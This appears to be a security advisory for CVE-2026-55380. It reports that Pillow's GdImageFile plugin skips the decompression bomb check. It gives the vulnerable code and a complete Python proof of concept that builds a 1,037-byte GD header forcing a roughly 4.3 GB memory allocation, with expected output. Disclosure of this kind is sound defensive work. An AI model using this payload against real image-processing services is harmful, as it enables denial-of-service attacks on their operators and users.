CVE-2026-55380

Description

PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point, PIL.GdImageFile.open(fp), which directly instantiates the class, fully bypassing the documented protection.

Vulnerable code (PIL/GdImageFile.py lines 50–61):

def _open(self) -> None:
    s = self.fp.read(1037)
    if i16(s) not in [65534, 65535]:
        raise SyntaxError("Not a valid GD 2.x .gd file")
    self._mode = "P"
    self._size = i16(s, 2), i16(s, 4)   # ← unsigned 16-bit; max 65535 each
    # NO _decompression_bomb_check() call here ←
    ...
    self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]

When load() is subsequently called on the returned image object:

load() → load_prepare() → Image.core.new("P", (65535, 65535))
# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB, no Python bomb check precedes this

Dimension arithmetic:

Comparison with safe sibling plugin (WalImageFile):

WalImageFile is in the same category, not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:

# PIL/WalImageFile.py line 46, CORRECT pattern (already patched)
self._size = i32(header, 32), i32(header, 36)
Image._decompression_bomb_check(self.size)   # ← present

GdImageFile was never updated to match, leaving a gap in protection.

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""
PoC: GdImageFile decompression bomb bypass
1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check
"""
import io, struct
from PIL import GdImageFile, Image

# Build minimal 1037-byte GD 2.x palette-mode header:
#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
sig          = struct.pack(">H", 0xFFFE)       # 65534 = GD 2.x magic
w            = struct.pack(">H", 65535)         # max width
h            = struct.pack(">H", 65535)         # max height
true_color   = b"\x00"                          # 0 = palette mode
tindex       = struct.pack(">I", 0xFFFFFFFF)    # > 255 = no transparency
colors_used  = b"\x00\x00"
palette_data = b"\x00" * 1024
header = sig + w + h + true_color + tindex + colors_used + palette_data
assert len(header) == 1037

# Confirm: standard Image.open() path BLOCKS this size
try:
    Image._decompression_bomb_check((65535, 65535))
except Image.DecompressionBombError as e:
    print(f"[BLOCKED] Image.open() path: {e}")

# Vulnerable path: GdImageFile.open() has NO bomb check
img = GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f"         No _decompression_bomb_check called, 4.3 GB allocation not blocked")

# Trigger load_prepare() → Image.core.new("P", (65535, 65535))
try:
    img.load()
except OSError:
    print(f"[INFO]   load() OSError (no pixel data), but C-heap allocation already attempted")

print(f"\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")
print(f"[MATH]   Attack file: 1,037 bytes only")

Expected output:

[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970
pixels, could be decompression bomb DOS attack.
[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P
         No _decompression_bomb_check called, 4.3 GB allocation not blocked
[INFO]   load() OSError (no pixel data), but C-heap allocation already attempted

[MATH]   4,294,836,225 pixels = 24.0× error threshold
[MATH]   Attack file: 1,037 bytes only

Verified live on Pillow 12.2.0.

Two attack paths:

For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.

Real-world scenario:

from PIL import GdImageFile

# Application accepts user-uploaded .gd files
img = GdImageFile.open(user_uploaded_file)   # succeeds, no bomb check
img.load()                                    # triggers 4.3 GB C-heap allocation